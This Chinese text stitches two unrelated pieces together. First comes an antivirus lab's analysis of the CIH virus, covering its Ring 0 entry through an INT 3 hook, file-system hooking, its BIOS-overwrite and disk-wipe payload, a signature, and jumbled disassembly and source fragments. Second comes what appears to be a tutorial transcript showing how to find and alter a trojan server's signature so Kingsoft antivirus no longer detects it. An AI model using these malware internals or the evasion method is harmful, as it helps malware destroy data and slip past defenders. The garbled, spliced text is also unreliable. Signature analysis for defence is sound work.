计算机病毒特征码提取分析
作者:安天实验室系统程序员 李柏松
时间:2003-1
第一节 特点
病毒绕过了微软提供的应用程序界面,绕过了 ActiveX、C++甚至 C,使用汇编,
利用 VxD(虚拟设备驱动程序)接口编程,直接杀入 Windows 内核。它没有改变宿主文件
的大小,而是采用了一种新的文件感染机制即碎洞攻击(fragmented cavity attack),
将病毒化整为零,拆分成若干块,插入宿主文件中去;最引人注目的是它利用目前许多
BIOS 芯片开放了可重写的特性,向计算机主板的 BIOS 端口写入乱码,开创了病毒直接进
攻计算机主板芯片的先例。可以说 CIH 病毒提供了一种全新的病毒程序方式和病毒发展方
向。
第二节 CIH 病毒的初始化
1.用 SIDT 指令取得 IDT base address(中断描述符表基地址),然后把 IDT 的 INT 3 的入口地
址改为指向 CIH 自己的 INT3 程序入口部分;
2. 执行 INT 3 指令,进入 CIH 自身的 INT 3 入口程序,这样,CIH 病毒就可以获得 Windows
最高级别的权限(Ring 0 级),可在 Windows 的内核执行各种操作(如终止系统运行,直接对
内存读写、截获各种中断、控制 I/O 端口等,这些操作在应用程序层 Ring 3 级是受到严格
限制的)。病毒在这段程序中首先检查调试寄存器 DR0 的值是否为 0,用以判断先前是否
有 CIH 病毒已经驻留。
3.如果 DR0 的值不为 0,则表示 CIH 病毒程式已驻留,病毒程序恢复原先的 INT 3 入口,然
后正常退出 INT3,跳到过程 9;
4. 如果 DR0 值为 0,则 CIH 病毒将尝试进行驻留。首先将当前 EBX 寄存器的值赋给 DR0
寄存器,以生成驻留标记,然后调用 INT 20 中断,使用 VxD call Page Allocate 系统调用,
请求系统分配 2 个 PAGE 大小的 Windows 系统内存(system memory),Windows 系统内存地
址范围为 C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域,如果程
序想长期 驻留在内存中,则必须申请到此区段内的内存。
5.如果内存申请成功,则从被感染文件中将原先分成多块的病毒代码收集起来,并进行组合
后放到申请到的内存空间中;
6. 再次调用 INT 3 中断进入 CIH 病毒体的 INT 3 入口程序,调用 INT20 来完成调用一个
IFSMgr_InstallFileSystemApiHook 的子程序,在 Windows 内核中文件系统处 理函数中挂接
钩子,以截取文件调用的操作,这样一旦系统出现要求开启文件的调用,则 CIH 病毒的传
染部分程序就会在第一时间截获此文件;
7.将同时获取的 Windows 默认的 IFSMgr_Ring0_FileIO(核心文件输入/输出)服务程序的入
口地址保留在 DR0 寄存器中,以便于 CIH 病毒调用;
8.恢复原先的 IDT 中断表中的 INT 3 入口,退出 INT 3;
9.根据病毒程序内隐藏的原文件的正常入口地址,跳到原文件正常入口,执行正常
第三节 病毒发作条件判断
在 CIHv1.4 中,病毒的发作日期是 4 月 26 日,病毒从 COMS 的 70、71 端口取出系统当前
日期,对其进行判断:
MOV AX,0708
OUT 70,AL
IN AL,71 取当前系统月份->AL
XCHG AL,AH
OUT 70,AL
IN AL,71 取当前系统日->AL
XOR AX,0426 是否为 4 月 26 日
JZ 病毒发作程序
之所以不采用这段代码做特征码,是为防止正常程序使用,或者易于发作条件修改。
第四节 病毒的破坏
1.通过主板的 BIOS 端口地址 0CFEH 和 0CFDH 向 BIOS 引导块(boot block)内各写入一个
字节的乱码,造成主机无法启动。
随 着闪存(FlashMemory)价格的下跌,奔腾机器上 BIOS 普遍采用 PROM(可编程只读存
储器),它可以在 12 伏以下的电压下利用软件的方式,从 BIOS 端口中读出和写入数据,以
便于进行程序的升级。CIH 病毒正是利用闪存的这一特性,往 BIOS 里写入乱码,造成 BIOS
中的原内容被会彻底破坏, 主机无法启动。
所幸的是,CIH 只能对少数类型的主板 BIOS 构成威胁。这是因为,BIOS 的软件更新是通
过直接写端口实现的,而不同主
板的 BIOS 端口地址各不相同。现在出现的 CIH 只有 1K,程序量太小,还不可能存储大量
的主板和 BIOS 端口数据。它只对
端口地址为 0CFEH 和 0CFD 的 BIOS(据有关资料为 Intel 430TX chipset、部分 Pentium
chipsets)进行攻击
2.覆盖硬盘
通过调用 Vxd call IOS_SendCommand 直接对硬盘进行存取,将垃圾代码以 2048 个扇区为单
位,从硬盘主引导区开始依
次循环写入硬盘,直到所有硬盘(含逻辑盘)的数据均被破坏为止。
特征码:
55 8D 44 24 F8 33 DB 64 87 03 E8 00 00 00 00 5B 8D
4B 42 51 50 50 0F 01 4C 24 FE 5B 83 C3 1C FA 8B 2B
66 8B 6B FC 8D 71 12 56 66 89 73 FC C1 EE 10 66 89
73 02 5E CC 56 8B F0 8B 48 FC F3 A4 83
偏移位置:0x240
特码长度:0x40
反汇编代码:
00400240 > 55
00400241
00400245
00400247
0040024A
0040024F
8D4424 F8
33DB
64:8703
E8 00000000
5B
PUSH EBP
LEA EAX,DWORD PTR SS:[ESP-8]
XOR EBX,EBX
XCHG DWORD PTR FS:[EBX],EAX
CALL Win95_ci.0040024F
POP EBX
00400250
00400253
00400254
00400255
00400256
base address(中断描述符表基地址),
8D4B 42
51
50
50
0F014C24 FE
LEA ECX,DWORD PTR DS:[EBX+42]
PUSH ECX
PUSH EAX
PUSH EAX
SIDT FWORD PTR SS:[ESP-2]
; 用 SIDT 指令取得 IDT
; 然后把 IDT 的 INT 3 的入
POP EBX
ADD EBX,1C
CLI
MOV EBP,DWORD PTR DS:[EBX]
MOV BP,WORD PTR DS:[EBX-4]
LEA ESI,DWORD PTR DS:[ECX+12]
PUSH ESI
MOV WORD PTR DS:[EBX-4],SI
SHR ESI,10
5B
83C3 1C
FA
8B2B
66:8B6B FC
8D71 12
56
66:8973 FC
C1EE 10
66:8973 02
5E
CC
口地址改为指向 CIH 自己的 INT3 程序入口部分;
0040025B
0040025C
0040025F
00400260
00400262
00400266
00400269
0040026A
0040026E
00400271
00400275
00400276
CIH 自身的 INT 3 入口程序,获得权限(Ring 0 级),
00400277
00400278
0040027A
0040027D
0040027F
与 1.3 版本匹配,源病毒初始代码如下:
56
8BF0
8B48 FC
F3:A4
83E8 08
PUSH ESI
MOV ESI,EAX
MOV ECX,DWORD PTR DS:[EAX-4]
REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
SUB EAX,8
MOV WORD PTR DS:[EBX+2],SI
POP ESI
INT3
; 执行 INT 3 指令,进入
MyVirusStart:
push
ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error
; * Occurrence, Especially in NT.
; *************************************
*
*
lea
eax, [esp-04h*2]
xor
xchg
ebx, ebx
eax, fs:[ebx]
call
@0
@0:
pop
ebx
lea
push
ecx, StopToRunVirusCode-@0[ebx]
ecx
push
eax
; *************************************
; * Let's Modify
; *************************************
*
pop
esi
; *************************************
; * Generate Exception to Get Ring0
; *************************************
*
int
HookExceptionNumber
; GenerateException
ReturnAddressOfEndException
=
$
; *************************************
; * Merge All Virus Code Section
; *************************************
*
push
mov
esi
esi, eax
LoopOfMergeAllVirusCodeSection:
mov
ecx, [eax-04h]
rep
sub
movsb
eax, 08h
; *************************************
; * Generate Exception Again
; *************************************
*
; *************************************
; * Let's Restore
*
; * Structured Exception Handing
; *************************************
*
; *************************************
; * When Exception Error Occurs,
; * Our OS System should be in NT.
; * So My Cute Virus will not
; * Continue to Run, it Jmups to
; * Original Application to Run.
; *************************************
*
*
*
*
*
StopToRunVirusCode:
@1
=
StopToRunVirusCode
; *************************************
; * Return Original App to Execute
; *************************************
文档:
http://www.yuanmawang.com/Download.asp?ID=5543&sID=1
*
音频:
http://download1.77169.com/donghua/other/12-11.zip
今天讲一下怎么改病毒的特征码,让它不被杀毒软件杀掉,就拿 hgzvip1.2没有配置的服务
端为例子
现在能被金山认识出来!
一般从程序的入口开始找特征码
4bdf68是内存的虚拟地址
bd368就是文件的相对偏移地址
现在查不出了,就说明特征码就在刚在的那一片
刚才我们填充的是120,现在就取它的一半90
范围更小了
再取90的一半
哈,范围更小了
再取48的一半
运气真好,就是这一段了,我们可以把范围更精确一点
有毒,说明不是这一段,go on,go on,go on,
查不到了,就说明是从 bd376这里左右开始的
反编译原来的文件看一下,搞错了,应该用原来的文件
我们就从这里改,先看懂这里程序的意思
xor eax,eax 是把 eax 清为0
那么后面的两句程序的意思也是把内存地址清0,就是这两句。
我们把它的先后顺序换一下就可以了,这两句就 ec 和 e8不同,我们换一下它们的先后顺序。
对应的文件就是这里,查一下还会不会被金山认出,哈哈,它不认识了!
但是还会被 kv 认出,所以我们得继续,把 kv 识别的特征也得改了,
方法和这里是一样的,我就不继续了。
关键点在于找到特征码之后,不能乱改,一定要把程序的意思看懂了,不然程序可能出错的。